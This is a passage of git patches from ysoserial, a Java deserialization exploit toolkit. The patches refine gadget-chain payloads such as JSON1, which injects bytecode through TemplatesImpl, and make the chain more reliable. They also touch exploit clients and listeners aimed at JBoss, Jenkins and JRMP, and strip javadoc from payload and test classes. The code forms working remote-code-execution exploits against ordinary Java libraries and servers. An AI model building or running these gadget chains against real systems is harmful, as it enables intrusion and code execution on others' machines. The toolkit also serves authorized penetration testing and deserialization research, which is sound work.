Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { + classBytes, ClassFiles.classAsBytes(Foo.class) + }); + + // required to make TemplatesImpl happy + Reflections.setFieldValue(templates, "_name", "Pwnr"); + Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); + return templates; + } - // required to make TemplatesImpl happy - Reflections.setFieldValue(templates, "_name", "Pwnr"); - Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); - return templates; - } - public static HashMap makeMap ( Object v1, Object v2 ) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { HashMap s = new HashMap(); Reflections.setFieldValue(s, "size", 2); - - Class nodeC = Class.forName("java.util.HashMap$Node"); + Class nodeC; + try { + nodeC = Class.forName("java.util.HashMap$Node"); + } + catch ( ClassNotFoundException e ) { + nodeC = Class.forName("java.util.HashMap$Entry"); + } Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); From eabfce0dc22e5c159192b7b2732dda44b076544a Mon Sep 17 00:00:00 2001 From: mbechler Date: Sun, 6 Mar 2016 19:24:32 +0100 Subject: [PATCH 20/25] Disable json-lib test as the gadget chain depends on the HashMap ordering which seemingly is different across JDK versions. --- src/main/java/ysoserial/payloads/JSON1.java | 13 ++++--------- 1 file changed, 4 insertions(+), 9 deletions(-) diff --git a/src/main/java/ysoserial/payloads/JSON1.java b/src/main/java/ysoserial/payloads/JSON1.java index 57eb662..35a2f8e 100644 --- a/src/main/java/ysoserial/payloads/JSON1.java +++ b/src/main/java/ysoserial/payloads/JSON1.java @@ -2,6 +2,7 @@ package ysoserial.payloads; import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; @@ -10,10 +11,8 @@ import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationTargetException; import java.util.HashMap; import java.util.Map; -import java.util.TreeMap; import javax.management.openmbean.CompositeData; -import javax.management.openmbean.CompositeDataSupport; import javax.management.openmbean.CompositeType; import javax.management.openmbean.OpenDataException; import javax.management.openmbean.OpenType; @@ -23,7 +22,6 @@ import javax.management.openmbean.TabularType; import javax.xml.transform.Templates; import org.springframework.aop.framework.AdvisedSupport; -import org.springframework.aop.target.SingletonTargetSource; import net.sf.json.JSONObject; @@ -33,7 +31,7 @@ import net.sf.json.JSONObject; * A bit more convoluted example * * com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties() - * java.lang.reflect.Method.invoke(Object, Object...) + * java.lang.reflect.Method.invoke(Object, Object...) * org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[]) * org.springframework.aop.framework.JdkDynamicAopProxy.invoke(Object, Method, Object[]) * $Proxy0.getOutputProperties() @@ -68,6 +66,7 @@ import net.sf.json.JSONObject; "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2", "commons-lang:commons-lang:2.6", "net.sf.ezmorph:ezmorph:1.0.6", "commons-beanutils:commons-beanutils:1.9.2", "org.springframework:spring-core:4.1.4.RELEASE", "commons-collections:commons-collections:3.1" } ) +@PayloadTest(skip="This depends on HashMap ordering") public class JSON1 implements ObjectPayload { /** @@ -98,14 +97,10 @@ public class JSON1 implements ObjectPayload { TabularDataSupport t1 = new TabularDataSupport(tt); TabularDataSupport t2 = new TabularDataSupport(tt); - CompositeDataSupport cds = Reflections.createWithoutConstructor(CompositeDataSupport.class); - Reflections.setFieldValue(cds, "compositeType", rt); - Reflections.setFieldValue(cds, "contents", new TreeMap()); - // we need to make payload implement composite data // it's very likely that there are other proxy impls that could be used AdvisedSupport as = new AdvisedSupport(); - as.setTargetSource(new SingletonTargetSource(payload)); + as.setTarget(payload); final CompositeData cdsProxy = Gadgets.createProxy( (InvocationHandler) Reflections.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as), CompositeData.class, From 3273b27c7598306eb0764e8427657eae1271ab7a Mon Sep 17 00:00:00 2001 From: mbechler Date: Sun, 6 Mar 2016 19:32:08 +0100 Subject: [PATCH 21/25] JRMPListener Java6 compatiblity. --- src/main/java/ysoserial/exploit/JRMPListener.java | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/src/main/java/ysoserial/exploit/JRMPListener.java b/src/main/java/ysoserial/exploit/JRMPListener.java index c93f3d5..b019103 100644 --- a/src/main/java/ysoserial/exploit/JRMPListener.java +++ b/src/main/java/ysoserial/exploit/JRMPListener.java @@ -150,7 +150,11 @@ public class JRMPListener implements Runnable { switch ( protocol ) { case TransportConstants.StreamProtocol: out.writeByte(TransportConstants.ProtocolAck); - out.writeUTF(remote.getHostString()); + if ( remote.getHostName() != null ) { + out.writeUTF(remote.getHostName()); + } else { + out.writeUTF(remote.getAddress().toString()); + } out.writeInt(remote.getPort()); out.flush(); in.readUTF(); From 2d6962162b8df2b3746acf25d2e0455a7fbe1583 Mon Sep 17 00:00:00 2001 From: mbechler Date: Mon, 7 Mar 2016 11:35:52 +0100 Subject: [PATCH 22/25] Made json-lib gadget chain more reliable. --- src/main/java/ysoserial/payloads/JSON1.java | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/src/main/java/ysoserial/payloads/JSON1.java b/src/main/java/ysoserial/payloads/JSON1.java index 35a2f8e..571b7e1 100644 --- a/src/main/java/ysoserial/payloads/JSON1.java +++ b/src/main/java/ysoserial/payloads/JSON1.java @@ -2,7 +2,6 @@ package ysoserial.payloads; import ysoserial.payloads.annotation.Dependencies; -import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; @@ -22,7 +21,7 @@ import javax.management.openmbean.TabularType; import javax.xml.transform.Templates; import org.springframework.aop.framework.AdvisedSupport; - +import com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl; import net.sf.json.JSONObject; @@ -58,7 +57,7 @@ import net.sf.json.JSONObject; * */ @SuppressWarnings ( { - "rawtypes", "unchecked" + "rawtypes", "unchecked", "restriction" } ) @Dependencies ( { "net.sf.json-lib:json-lib:jar:jdk15:2.4", "org.springframework:spring-aop:4.1.4.RELEASE", @@ -66,7 +65,6 @@ import net.sf.json.JSONObject; "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2", "commons-lang:commons-lang:2.6", "net.sf.ezmorph:ezmorph:1.0.6", "commons-beanutils:commons-beanutils:1.9.2", "org.springframework:spring-core:4.1.4.RELEASE", "commons-collections:commons-collections:3.1" } ) -@PayloadTest(skip="This depends on HashMap ordering") public class JSON1 implements ObjectPayload { /** @@ -101,10 +99,13 @@ public class JSON1 implements ObjectPayload { // it's very likely that there are other proxy impls that could be used AdvisedSupport as = new AdvisedSupport(); as.setTarget(payload); - final CompositeData cdsProxy = Gadgets.createProxy( - (InvocationHandler) Reflections.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as), - CompositeData.class, - ifaces); + InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections + .getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as); + InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(Gadgets.createMap("getCompositeType", rt)); + CompositeInvocationHandlerImpl invocationHandler = new CompositeInvocationHandlerImpl(); + invocationHandler.addInvocationHandler(CompositeData.class, cdsInvocationHandler); + invocationHandler.setDefaultHandler(delegateInvocationHandler); + final CompositeData cdsProxy = Gadgets.createProxy(invocationHandler, CompositeData.class, ifaces); JSONObject jo = new JSONObject(); Map m = new HashMap(); From 6873a43409d13b28046c9975b9f48fdb5242b8d9 Mon Sep 17 00:00:00 2001 From: mbechler Date: Wed, 9 Mar 2016 14:11:15 +0100 Subject: [PATCH 23/25] Drop empty javadocs. --- src/main/java/ysoserial/exploit/JBoss.java | 77 +------------------ .../java/ysoserial/exploit/JRMPClient.java | 15 ---- .../java/ysoserial/exploit/JRMPListener.java | 27 ------- src/main/java/ysoserial/exploit/JSF.java | 3 - .../ysoserial/exploit/JenkinsListener.java | 28 ------- src/main/java/ysoserial/payloads/C3P0.java | 5 +- .../java/ysoserial/payloads/FileUpload1.java | 21 +---- .../java/ysoserial/payloads/Hibernate1.java | 17 ---- src/main/java/ysoserial/payloads/JSON1.java | 11 --- .../java/ysoserial/payloads/Myfaces1.java | 6 -- .../java/ysoserial/payloads/Myfaces2.java | 7 -- .../ysoserial/payloads/ObjectPayload.java | 14 ---- .../payloads/ReleaseableObjectPayload.java | 6 -- src/main/java/ysoserial/payloads/Spring2.java | 6 -- .../ysoserial/payloads/FileUploadTest.java | 11 +-- .../payloads/JRMPReverseConnectTest.java | 14 ---- .../java/ysoserial/payloads/MyfacesTest.java | 63 +++------------ .../java/ysoserial/payloads/PayloadsTest.java | 22 +----- .../payloads/RemoteClassLoadingTest.java | 34 -------- 19 files changed, 15 insertions(+), 372 deletions(-) diff --git a/src/main/java/ysoserial/exploit/JBoss.java b/src/main/java/ysoserial/exploit/JBoss.java index bd45d6a..2d904a0 100644 --- a/src/main/java/ysoserial/exploit/JBoss.java +++ b/src/main/java/ysoserial/exploit/JBoss.java @@ -117,13 +117,6 @@ public class JBoss { } - - /** - * @param u - * @param payloadObject - * @param username - * @param password - */ private static void doRun ( URI u, final Object payloadObject, String username, String password ) { ConnectionProvider instance = null; ConnectionProviderContextImpl context = null; @@ -159,13 +152,6 @@ public class JBoss { - /** - * @param instance - * @param context - * @param ch - * @param c - * @param vc - */ private static void cleanup ( ConnectionProvider instance, ConnectionProviderContextImpl context, ConnectionHandler ch, Channel c, VersionedConnection vc ) { if ( vc != null ) { @@ -204,21 +190,6 @@ public class JBoss { } - /** - * @param destination - * @param username - * @param password - * @param context - * @param instance - * @param options - * @param xnioSsl - * @return - * @throws IOException - * @throws InterruptedException - * @throws NoSuchAlgorithmException - * @throws NoSuchProviderException - * @throws KeyManagementException - */ private static ConnectionHandlerFactory getConnection ( SocketAddress destination, final String username, final String password, ConnectionProviderContextImpl context, ConnectionProvider instance, OptionMap options ) throws IOException, InterruptedException, KeyManagementException, NoSuchProviderException, NoSuchAlgorithmException { @@ -263,14 +234,6 @@ public class JBoss { return chf; } - - /** - * @param context - * @param ch - * @param options - * @return - * @throws IOException - */ private static Channel getChannel ( ConnectionProviderContextImpl context, ConnectionHandler ch, OptionMap options ) throws IOException { Channel c; FutureResult chResult = new FutureResult(context.getExecutor()); @@ -294,15 +257,6 @@ public class JBoss { } - /** - * @param c - * @return - * @throws ClassNotFoundException - * @throws NoSuchMethodException - * @throws IllegalAccessException - * @throws InvocationTargetException - * @throws MalformedURLException - */ private static VersionedConnection makeVersionedConnection ( Channel c ) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, MalformedURLException { VersionedConnection vc; @@ -314,14 +268,6 @@ public class JBoss { } - /** - * @param payloadObject - * @param mbc - * @throws IOException - * @throws InstanceNotFoundException - * @throws IntrospectionException - * @throws ReflectionException - */ private static void doExploit ( final Object payloadObject, MBeanServerConnection mbc ) throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException { Object[] params = new Object[1]; @@ -359,10 +305,7 @@ public class JBoss { } } - /** - * @author mbechler - * - */ + private static final class ConsoleLogHandler extends Handler { @@ -382,18 +325,11 @@ public class JBoss { public void close () throws SecurityException {} } - /** - * @author mbechler - * - */ private static final class ConnectionHandlerContextImpl implements ConnectionHandlerContext { private ConnectionProviderContextImpl context; - /** - * @param context - */ public ConnectionHandlerContextImpl ( ConnectionProviderContextImpl context ) { this.context = context; } @@ -422,10 +358,7 @@ public class JBoss { } } - /** - * @author mbechler - * - */ + private static final class ConnectionProviderContextImpl implements ConnectionProviderContext { private XnioWorker worker; @@ -434,12 +367,6 @@ public class JBoss { private Endpoint endpoint; - /** - * @param endpointName - * @throws IOException - * @throws IllegalArgumentException - * - */ public ConnectionProviderContextImpl ( OptionMap opts, String endpointName ) throws IllegalArgumentException, IOException { this.instance = Xnio.getInstance(); diff --git a/src/main/java/ysoserial/exploit/JRMPClient.java b/src/main/java/ysoserial/exploit/JRMPClient.java index 8acb038..3808bf6 100644 --- a/src/main/java/ysoserial/exploit/JRMPClient.java +++ b/src/main/java/ysoserial/exploit/JRMPClient.java @@ -46,14 +46,6 @@ public class JRMPClient { Utils.releasePayload(args[2], payloadObject); } - /** - * @param hostname - * @param port - * @param payloadObject - * @throws IOException - * @throws UnknownHostException - * @throws SocketException - */ public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException { InetSocketAddress isa = new InetSocketAddress(hostname, port); Socket s = null; @@ -97,15 +89,8 @@ public class JRMPClient { } } - /** - * @author mbechler - * - */ static final class MarshalOutputStream extends ObjectOutputStream { - /** - * @param out - */ MarshalOutputStream ( OutputStream out ) throws IOException { super(out); } diff --git a/src/main/java/ysoserial/exploit/JRMPListener.java b/src/main/java/ysoserial/exploit/JRMPListener.java index b019103..54a5a0c 100644 --- a/src/main/java/ysoserial/exploit/JRMPListener.java +++ b/src/main/java/ysoserial/exploit/JRMPListener.java @@ -44,12 +44,6 @@ public class JRMPListener implements Runnable { private boolean hadConnection; - /** - * @param port - * @param payloadObject - * @throws IOException - * @throws NumberFormatException - */ public JRMPListener ( int port, Object payloadObject ) throws NumberFormatException, IOException { this.port = port; this.payloadObject = payloadObject; @@ -113,11 +107,6 @@ public class JRMPListener implements Runnable { } - /** - * {@inheritDoc} - * - * @see java.lang.Runnable#run() - */ public void run () { try { Socket s = null; @@ -205,12 +194,6 @@ public class JRMPListener implements Runnable { } - /** - * @param s - * @param in - * @param out - * @throws Exception - */ private void doMessage ( Socket s, DataInputStream in, DataOutputStream out, Object payload ) throws Exception { System.err.println("Reading message..."); @@ -239,19 +222,9 @@ public class JRMPListener implements Runnable { } - /** - * @param in - * @param out - * @throws Exception - */ private void doCall ( DataInputStream in, DataOutputStream out, Object payload ) throws Exception { ObjectInputStream ois = new ObjectInputStream(in) { - /** - * {@inheritDoc} - * - * @see java.io.ObjectInputStream#resolveClass(java.io.ObjectStreamClass) - */ @Override protected Class resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException { throw new IOException("Not allowed to read object"); diff --git a/src/main/java/ysoserial/exploit/JSF.java b/src/main/java/ysoserial/exploit/JSF.java index ad4164e..396405a 100644 --- a/src/main/java/ysoserial/exploit/JSF.java +++ b/src/main/java/ysoserial/exploit/JSF.java @@ -20,9 +20,6 @@ import ysoserial.payloads.ObjectPayload.Utils; */ public class JSF { - /** - * @param args - */ public static void main ( String[] args ) { if ( args.length < 3 ) { diff --git a/src/main/java/ysoserial/exploit/JenkinsListener.java b/src/main/java/ysoserial/exploit/JenkinsListener.java index 283b9bb..1cb84a5 100644 --- a/src/main/java/ysoserial/exploit/JenkinsListener.java +++ b/src/main/java/ysoserial/exploit/JenkinsListener.java @@ -103,17 +103,6 @@ public class JenkinsListener { } - /** - * @param oid - * @param uro - * @param reqClass - * @return - * @throws NoSuchMethodException - * @throws InstantiationException - * @throws IllegalAccessException - * @throws InvocationTargetException - * @throws ClassNotFoundException - */ private static Object makeIsPresentOnRemoteCallable ( int oid, Object uro, Class reqClass ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException { Constructor reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class); @@ -125,15 +114,6 @@ public class JenkinsListener { } - /** - * @param args - * @param payloadClass - * @param jrmpPort - * @param isa - * @param e - * @throws Exception - * @throws IOException - */ private static void parseObjIdAndExploit ( final String[] args, final Class payloadClass, int jrmpPort, InetSocketAddress isa, Exception e ) throws Exception, IOException { String msg = e.getMessage(); @@ -171,14 +151,6 @@ public class JenkinsListener { } - /** - * @param inetSocketAddress - * @param obj - * @param o1 - * @param o2 - * @param o3 - * @throws IOException - */ private static void exploit ( InetSocketAddress isa, long obj, int o1, long o2, short o3, Class payloadClass, String payloadArg ) throws IOException { Socket s = null; diff --git a/src/main/java/ysoserial/payloads/C3P0.java b/src/main/java/ysoserial/payloads/C3P0.java index 36900c5..75876a2 100644 --- a/src/main/java/ysoserial/payloads/C3P0.java +++ b/src/main/java/ysoserial/payloads/C3P0.java @@ -62,10 +62,7 @@ public class C3P0 implements ObjectPayload { private String className; private String url; - /** - * @param className - * @param url - */ + public PoolSource ( String className, String url ) { this.className = className; this.url = url; diff --git a/src/main/java/ysoserial/payloads/FileUpload1.java b/src/main/java/ysoserial/payloads/FileUpload1.java index 2171219..ef88c8e 100644 --- a/src/main/java/ysoserial/payloads/FileUpload1.java +++ b/src/main/java/ysoserial/payloads/FileUpload1.java @@ -42,11 +42,6 @@ import ysoserial.payloads.util.Reflections; @PayloadTest(harness="ysoserial.payloads.FileUploadTest") public class FileUpload1 implements ReleaseableObjectPayload { - /** - * {@inheritDoc} - * - * @see ysoserial.payloads.ObjectPayload#getObject(java.lang.String) - */ public DiskFileItem getObject ( String command ) throws Exception { String[] parts = command.split(":"); @@ -71,12 +66,7 @@ public class FileUpload1 implements ReleaseableObjectPayload { } } - /** - * {@inheritDoc} - * @throws Exception - * - * @see ysoserial.payloads.ReleaseableObjectPayload#release(java.lang.Object) - */ + public void release ( DiskFileItem obj ) throws Exception { // otherwise the finalizer deletes the file DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null); @@ -100,15 +90,6 @@ public class FileUpload1 implements ReleaseableObjectPayload { } - /** - * @param thresh - * @param repoPath - * @param filePath - * @param data - * @return - * @throws IOException - * @throws Exception - */ private static DiskFileItem makePayload ( int thresh, String repoPath, String filePath, byte[] data ) throws IOException, Exception { // if thresh < written length, delete outputFile after copying to repository temp file // otherwise write the contents to repository temp file diff --git a/src/main/java/ysoserial/payloads/Hibernate1.java b/src/main/java/ysoserial/payloads/Hibernate1.java index 168dcbb..e5b0488 100644 --- a/src/main/java/ysoserial/payloads/Hibernate1.java +++ b/src/main/java/ysoserial/payloads/Hibernate1.java @@ -94,11 +94,6 @@ public class Hibernate1 implements ObjectPayload, DynamicDependencies { } - /** - * {@inheritDoc} - * - * @see ysoserial.payloads.ObjectPayload#getObject(java.lang.String) - */ public Object getObject ( String command ) throws Exception { Object tpl = Gadgets.createTemplatesImpl(command); Object getters = makeGetter(tpl.getClass(), "getOutputProperties"); @@ -106,18 +101,6 @@ public class Hibernate1 implements ObjectPayload, DynamicDependencies { } - /** - * @param tpl - * @param getters - * @return - * @throws NoSuchMethodException - * @throws InstantiationException - * @throws IllegalAccessException - * @throws InvocationTargetException - * @throws NoSuchFieldException - * @throws Exception - * @throws ClassNotFoundException - */ static Object makeCaller ( Object tpl, Object getters ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, NoSuchFieldException, Exception, ClassNotFoundException { PojoComponentTuplizer tup = Reflections.createWithoutConstructor(PojoComponentTuplizer.class); diff --git a/src/main/java/ysoserial/payloads/JSON1.java b/src/main/java/ysoserial/payloads/JSON1.java index 571b7e1..ac66e7e 100644 --- a/src/main/java/ysoserial/payloads/JSON1.java +++ b/src/main/java/ysoserial/payloads/JSON1.java @@ -67,11 +67,6 @@ import net.sf.json.JSONObject; } ) public class JSON1 implements ObjectPayload { - /** - * {@inheritDoc} - * - * @see ysoserial.payloads.ObjectPayload#getObject(java.lang.String) - */ public Map getObject ( String command ) throws Exception { return makeCallerChain(Gadgets.createTemplatesImpl(command), Templates.class); } @@ -117,12 +112,6 @@ public class JSON1 implements ObjectPayload { return Gadgets.makeMap(t1, t2); } - - /** - * - * @param args - * @throws Exception - */ public static void main ( final String[] args ) throws Exception { PayloadRunner.run(JSON1.class, args); } diff --git a/src/main/java/ysoserial/payloads/Myfaces1.java b/src/main/java/ysoserial/payloads/Myfaces1.java index de1872c..c3f46dc 100644 --- a/src/main/java/ysoserial/payloads/Myfaces1.java +++ b/src/main/java/ysoserial/payloads/Myfaces1.java @@ -42,12 +42,6 @@ import ysoserial.payloads.util.Reflections; @PayloadTest(skip="Requires running MyFaces, no direct execution") public class Myfaces1 implements ObjectPayload, DynamicDependencies { - /** - * {@inheritDoc} - * - * @see ysoserial.payloads.ObjectPayload#getObject(java.lang.String) - */ - public Object getObject ( String command ) throws Exception { return makeExpressionPayload(command); } diff --git a/src/main/java/ysoserial/payloads/Myfaces2.java b/src/main/java/ysoserial/payloads/Myfaces2.java index ec5f6ae..d90cd48 100644 --- a/src/main/java/ysoserial/payloads/Myfaces2.java +++ b/src/main/java/ysoserial/payloads/Myfaces2.java @@ -35,13 +35,6 @@ public class Myfaces2 implements ObjectPayload, DynamicDependencies { } - - /** - * {@inheritDoc} - * - * @see ysoserial.payloads.ObjectPayload#getObject(java.lang.String) - */ - public Object getObject ( String command ) throws Exception { int sep = command.lastIndexOf(':'); if ( sep < 0 ) { diff --git a/src/main/java/ysoserial/payloads/ObjectPayload.java b/src/main/java/ysoserial/payloads/ObjectPayload.java index 4772d73..443f037 100644 --- a/src/main/java/ysoserial/payloads/ObjectPayload.java +++ b/src/main/java/ysoserial/payloads/ObjectPayload.java @@ -56,11 +56,6 @@ public interface ObjectPayload { } - /** - * @param payloadType - * @param payloadArg - * @return an payload object - */ public static Object makePayloadObject ( String payloadType, String payloadArg ) { final Class payloadClass = getPayloadClass(payloadType); if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { @@ -80,11 +75,6 @@ public interface ObjectPayload { } - /** - * @param payload - * @param object - * @throws Exception - */ @SuppressWarnings ( "unchecked" ) public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception { if ( payload instanceof ReleaseableObjectPayload ) { @@ -93,10 +83,6 @@ public interface ObjectPayload { } - /** - * @param payloadType - * @param payloadObject - */ public static void releasePayload ( String payloadType, Object payloadObject ) { final Class payloadClass = getPayloadClass(payloadType); if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { diff --git a/src/main/java/ysoserial/payloads/ReleaseableObjectPayload.java b/src/main/java/ysoserial/payloads/ReleaseableObjectPayload.java index c359772..6a8b531 100644 --- a/src/main/java/ysoserial/payloads/ReleaseableObjectPayload.java +++ b/src/main/java/ysoserial/payloads/ReleaseableObjectPayload.java @@ -1,9 +1,3 @@ -/** - * © 2016 AgNO3 Gmbh & Co. KG - * All right reserved. - * - * Created: 06.03.2016 by mbechler - */ package ysoserial.payloads; diff --git a/src/main/java/ysoserial/payloads/Spring2.java b/src/main/java/ysoserial/payloads/Spring2.java index 076e4cc..c3bd77a 100644 --- a/src/main/java/ysoserial/payloads/Spring2.java +++ b/src/main/java/ysoserial/payloads/Spring2.java @@ -61,12 +61,6 @@ public class Spring2 extends PayloadRunner implements ObjectPayload { return mitp; } - - /** - * - * @param args - * @throws Exception - */ public static void main ( final String[] args ) throws Exception { PayloadRunner.run(Spring2.class, args); } diff --git a/src/test/java/ysoserial/payloads/FileUploadTest.java b/src/test/java/ysoserial/payloads/FileUploadTest.java index 69f37dc..9b38259 100644 --- a/src/test/java/ysoserial/payloads/FileUploadTest.java +++ b/src/test/java/ysoserial/payloads/FileUploadTest.java @@ -38,11 +38,7 @@ public class FileUploadTest implements CustomTest { } } - /** - * {@inheritDoc} - * - * @see ysoserial.CustomTest#run(java.util.concurrent.Callable) - */ + public synchronized void run ( Callable payload ) throws Exception { try { Files.write(FDATA, this.source); @@ -68,11 +64,6 @@ public class FileUploadTest implements CustomTest { } } - /** - * {@inheritDoc} - * - * @see ysoserial.CustomTest#getPayloadArgs() - */ public String getPayloadArgs () { return "copyAndDelete:" + this.source.getAbsolutePath() + ":" + this.repo.getAbsolutePath(); } diff --git a/src/test/java/ysoserial/payloads/JRMPReverseConnectTest.java b/src/test/java/ysoserial/payloads/JRMPReverseConnectTest.java index 30057ba..580d5f0 100644 --- a/src/test/java/ysoserial/payloads/JRMPReverseConnectTest.java +++ b/src/test/java/ysoserial/payloads/JRMPReverseConnectTest.java @@ -1,7 +1,6 @@ package ysoserial.payloads; -import java.io.IOException; import java.util.concurrent.Callable; import javax.management.BadAttributeValueExpException; @@ -30,14 +29,6 @@ public class JRMPReverseConnectTest implements CustomTest { } - /** - * {@inheritDoc} - * - * @throws IOException - * @throws NumberFormatException - * - * @see java.lang.Runnable#run() - */ public void run ( Callable payload ) throws Exception { JRMPListener l = new JRMPListener(port, new BadAttributeValueExpException("foo")); Thread t = new Thread(l, "JRMP listener"); @@ -59,11 +50,6 @@ public class JRMPReverseConnectTest implements CustomTest { } - /** - * {@inheritDoc} - * - * @see ysoserial.CustomTest#getPayloadArgs() - */ public String getPayloadArgs () { return "localhost:" + port; } diff --git a/src/test/java/ysoserial/payloads/MyfacesTest.java b/src/test/java/ysoserial/payloads/MyfacesTest.java index e2d6e0b..817e549 100644 --- a/src/test/java/ysoserial/payloads/MyfacesTest.java +++ b/src/test/java/ysoserial/payloads/MyfacesTest.java @@ -33,19 +33,13 @@ import ysoserial.Deserializer; */ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeserializer { - /** - * @param command - */ + public MyfacesTest ( String command ) { super(command); } - /** - * {@inheritDoc} - * - * @see ysoserial.CustomDeserializer#getCustomDeserializer() - */ + public Class getCustomDeserializer () { return MyfacesDeserializer.class; } @@ -69,11 +63,6 @@ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeseria private Map attributes = new HashMap(); - /** - * {@inheritDoc} - * - * @see org.mockito.stubbing.Answer#answer(org.mockito.invocation.InvocationOnMock) - */ public Object answer ( InvocationOnMock invocation ) throws Throwable { if ( "setAttribute".equals(invocation.getMethod().getName()) ) { @@ -93,19 +82,12 @@ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeseria private ServletRequest request; - - /** - * - */ + public MockELResolver (ServletRequest req) { this.request = req; } - /** - * {@inheritDoc} - * - * @see javax.el.ELResolver#getValue(javax.el.ELContext, java.lang.Object, java.lang.Object) - */ + @Override public Object getValue ( ELContext context, Object base, Object property ) { if ( base == null && "request".equals(property)) { @@ -116,11 +98,7 @@ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeseria return null; } - /** - * {@inheritDoc} - * - * @see javax.el.ELResolver#getType(javax.el.ELContext, java.lang.Object, java.lang.Object) - */ + @Override public Class getType ( ELContext context, Object base, Object property ) { if ( base == null && "request".equals(property)) { @@ -130,41 +108,25 @@ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeseria return null; } - /** - * {@inheritDoc} - * - * @see javax.el.ELResolver#setValue(javax.el.ELContext, java.lang.Object, java.lang.Object, java.lang.Object) - */ + @Override public void setValue ( ELContext context, Object base, Object property, Object value ) { } - /** - * {@inheritDoc} - * - * @see javax.el.ELResolver#isReadOnly(javax.el.ELContext, java.lang.Object, java.lang.Object) - */ + @Override public boolean isReadOnly ( ELContext context, Object base, Object property ) { return true; } - /** - * {@inheritDoc} - * - * @see javax.el.ELResolver#getFeatureDescriptors(javax.el.ELContext, java.lang.Object) - */ + @Override public Iterator getFeatureDescriptors ( ELContext context, Object base ) { return null; } - /** - * {@inheritDoc} - * - * @see javax.el.ELResolver#getCommonPropertyType(javax.el.ELContext, java.lang.Object) - */ + @Override public Class getCommonPropertyType ( ELContext context, Object base ) { return null; @@ -172,9 +134,6 @@ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeseria } - /** - * @param bytes - */ public MyfacesDeserializer ( byte[] bytes ) { super(bytes); } @@ -198,10 +157,6 @@ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeseria } - /** - * @return - * @throws MalformedURLException - */ private static FacesContext createMockFacesContext () throws MalformedURLException { FacesContext ctx = Mockito.mock(FacesContext.class); CompositeELResolver cer = new CompositeELResolver(); diff --git a/src/test/java/ysoserial/payloads/PayloadsTest.java b/src/test/java/ysoserial/payloads/PayloadsTest.java index 269b58b..46dcbce 100644 --- a/src/test/java/ysoserial/payloads/PayloadsTest.java +++ b/src/test/java/ysoserial/payloads/PayloadsTest.java @@ -143,11 +143,7 @@ public class PayloadsTest { } - /** - * @param payloadClass - * @param command - * @return - */ + private static Callable makeSerializeCallable ( final Class> payloadClass, final String command ) { return new Callable() { @@ -162,13 +158,6 @@ public class PayloadsTest { } - /** - * @param t - * @param addlClassesForClassLoader - * @param deps - * @param serialized - * @return - */ private static Callable makeDeserializeCallable ( PayloadTest t, final Class[] addlClassesForClassLoader, final String[] deps, final byte[] serialized, final Class customDeserializer ) { return new Callable() { @@ -187,15 +176,6 @@ public class PayloadsTest { } - /** - * @param payloadClass - * @return - * @throws SecurityException - * @throws NoSuchMethodException - * @throws InvocationTargetException - * @throws IllegalArgumentException - * @throws IllegalAccessException - */ private static String[] buildDeps ( final Class> payloadClass ) throws Exception { String[] baseDeps; if ( DynamicDependencies.class.isAssignableFrom(payloadClass) ) { diff --git a/src/test/java/ysoserial/payloads/RemoteClassLoadingTest.java b/src/test/java/ysoserial/payloads/RemoteClassLoadingTest.java index e2f8d6f..221cccc 100644 --- a/src/test/java/ysoserial/payloads/RemoteClassLoadingTest.java +++ b/src/test/java/ysoserial/payloads/RemoteClassLoadingTest.java @@ -24,9 +24,6 @@ public class RemoteClassLoadingTest implements WrappedTest { private String command; private String className; - /** - * - */ public RemoteClassLoadingTest ( String command ) { this.command = command; this.port = new Random().nextInt(65535-1024)+1024; @@ -34,21 +31,11 @@ public class RemoteClassLoadingTest implements WrappedTest { } - /** - * {@inheritDoc} - * - * @see ysoserial.WrappedTest#getPayloadArgs() - */ public String getPayloadArgs () { return String.format("http://localhost:%d/", this.port) + ":" + this.className; } - /** - * {@inheritDoc} - * - * @see ysoserial.WrappedTest#createCallable(java.util.concurrent.Callable) - */ public Callable createCallable ( Callable innerCallable ) { return 